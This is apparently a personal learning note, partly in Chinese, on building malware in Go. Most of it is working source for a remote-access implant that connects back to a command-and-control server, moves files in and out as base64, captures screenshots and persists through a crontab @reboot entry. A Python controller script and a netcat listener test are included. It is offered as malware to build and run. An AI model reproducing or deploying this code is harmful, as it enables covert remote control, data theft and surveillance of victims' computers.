Malware
plan
- connect back to the c2 server
- recieve incoming commands from the c2 server
- q/quit:terminate the connection
- cd tgt_dir:change directory
- file upload
- read the file in binary
- connvert the connect to base64
- send the message : “file_name:base64_string”
- file download
- split the recieved string using ‘:’ as the separator
- decode the base64 string
- write the binary file content to ‘file_name’
- screenshot
- persistence
- shell command execution
go语言的基本使用
环境
vim ~/.zshrc
# 打开的文件末尾加如下语句以添加环境变量
export PATH=$PATH:/.../go/bin
创建项目
cd /.../malware
go mod init github.com/yourusername/malware
Hello World!
package main
import (
"fmt"
)
func main() {
fmt.Println("Hello world!\n")
}
运行
go build main.go
./main
#or
go run main.go
使用第三方的包
go mod init github.com/username/malware #创建名为malware的项目
go get github.com/kbinani/screenshot # 获取、编译和安装包及其依赖项的工具
# import里加上"github.com/kbinani/screenshot"
持久性:
- 系统的,所有用户,需要root
- 用户级别的,限制在某个用户,无需root
main.go
package main
import (
"bufio"
"encoding/base64"
"fmt"
"image/png"
"net"
"os"
"os/exec"
"strings"
"time"
"github.com/kbinani/screenshot"
)
const C2 string = "127.0.0.1"
func main() {
conn := connect_home()
for {
cmd, _ := bufio.NewReader(conn).ReadString('\n')
cmd = strings.TrimSpace(cmd)
if cmd == "q" || cmd == "quit" {
send_resp(conn, "Closing connection")
conn.Close()
break
} else if cmd[0:2] == "cd" {
//cd, cd tgt_dir
if cmd == "cd" {
cwd, err := os.Getwd()
if err != nil {
send_resp(conn, err.Error())
} else {
send_resp(conn, cwd)
}
} else {
target_dir := strings.Split(cmd, " ")[1]
if err := os.Chdir(target_dir); err != nil {
send_resp(conn, err.Error())
} else {
send_resp(conn, target_dir)
}
}
} else if strings.Contains(cmd, ":") {
tmp := strings.Split(cmd, ":")
if save_file(tmp[0], tmp[1]) {
send_resp(conn, "File uploaded successfully")
} else {
send_resp(conn, "Error uploading file")
}
} else if tmp := strings.Split(cmd, " "); tmp[0] == "download" {
send_resp(conn, get_file(tmp[1]))
} else if cmd == "screenshot" {
send_resp(conn, take_screenshot())
} else if cmd == "persist" {
send_resp(conn, persist())
}
}
}
func connect_home() net.Conn {
conn, err := net.Dial("tcp", C2)
if err != nil {
time.Sleep(time.Second * 1)
return connect_home()
}
return conn
}
func send_resp(conn net.Conn, msg string) {
fmt.Fprintf(conn, "%s", msg)
}
func save_file(file_name string, b64_string string) bool {
//b'qwertyuiop' -> qwertyuiop
temp := b64_string[2 : len(b64_string)-1]
content, _ := base64.StdEncoding.DecodeString(temp)
if err := os.WriteFile(file_name, content, 0644); err != nil {
return false
}
return true
}
func get_file(file string) string {
if !file_exists(file) {
return "File not found"
} else {
// file_name:b64_string
return file + ":" + file_b64(file)
}
}
func persist() string {
file_name := "/tmp/persist"
file, _ := os.Create(file_name)
exec_path, _ := os.Executable()
fmt.Fprint(file, "@reboot "+exec_path+"\n")
_, err := exec.Command("/usr/bin/crontab", file_name).CombinedOutput()
os.Remove(file_name)
if err != nil {
return "Error establishing persistence"
} else {
return "Persistence has been established successfully"
}
}
func file_exists(file string) bool {
if _, err := os.Stat(file); err != nil {
return false
}
return true
}
func file_b64(file string) string {
content, _ := os.ReadFile(file)
return base64.StdEncoding.EncodeToString(content)
}
func take_screenshot() string {
bounds := screenshot.GetDisplayBounds(0)
img, _ := screenshot.CaptureRect(bounds)
file, _ := os.Create("wallpaper.png")
defer file.Close()
png.Encode(file, img)
b64_string := file_b64("wallpaper.png")
os.Remove("wallpaper.png")
return b64_string
}
func exec_command(cmd string) string {
output, err := exec.Command(cmd).Output()
if err != nil {
return err.Error()
} else {
return string(output)
}
}
测试
# 拆分终端,分别写如下指令
nc -nlvp 1234
go run main.go
# nc: nc命令,也称为netcat,是一个用于网络通信的实用工具。
# -n: 在使用域名和IP地址时,不进行DNS解析。
# -l: 启动监听模式,等待远程主机连接。
# -v: 详细模式,显示更多信息,例如连接和传输的详细情况。
# -p: 指定端口号,用于监听连接。
Server
plan
- listen for incoming connections from our malware
- recieve an incoming connection
- loop:
- take input from the user
- send that to the malware
- recieve the results
server.py
from socket import socket, AF_INET, SOCK_STREAM
from base64 import b64decode,b64encode
import os
s = socket(AF_INET, SOCK_STREAM)
s.bind(("127.0.0.1", 1234))
s.listen()
print("[*] Listening for incoming connections ... ")
conn, addr = s.accept()
print(f"[*] REcieved connection from {addr[0]} : {addr[1]}")
while True:
inp = input("$ ")
cmd = inp + '\n'
# quit
if inp.lower() in ('q','quit'):
conn.send(cmd.encode())
resp = conn.recv(1024).decode()
print(resp)
exit(0)
# screenshot
elif inp.lower() == "screenshot":
conn.send(cmd.encode())
b64_string = ''
while True:
tmp = conn.recv(32768).decode()
b64_string += tmp
if len(tmp) < 32768:
break
with open('screenshot.png','wb') as f:
f.write(b64decode(b64_string))
print("Screenshot saved successfully")
# download file_name
elif inp.split(' ')[0].lower() == "download":
conn.send(cmd.encode())
b64_string = ''
while True:
tmp = conn.recv(32768).decode()
b64_string += tmp
if len(tmp) < 32768:
break
#file not founf
if "not found" in b64_string:
print(b64_string)
continue
#file_name:b64_string
file_name, b64_string = b64_string.split(':')
with open(file_name, 'wb') as f:
f.write(b64decode(b64_string))
print("File saved successfully")
# upload file_name
elif inp.split(' ')[0].lower() == "upload":
file_name = inp.split(' ')[1].strip()
if not os.path.exists(file_name):
print("File does not exist")
else:
# file_name:b64_string
file_content = ''
with open(file_name, 'rb') as f:
file_content = b64encode(f.read())
tmp = ":".join([file_name, str(file_content)]) + '\n'
conn.send(tmp.encode())
resp = conn.recv(1024).decode()
print(resp)
# shell commands, etc
else:
conn.send(cmd.encode())
resp = conn.recv(32768).decode()
print(resp)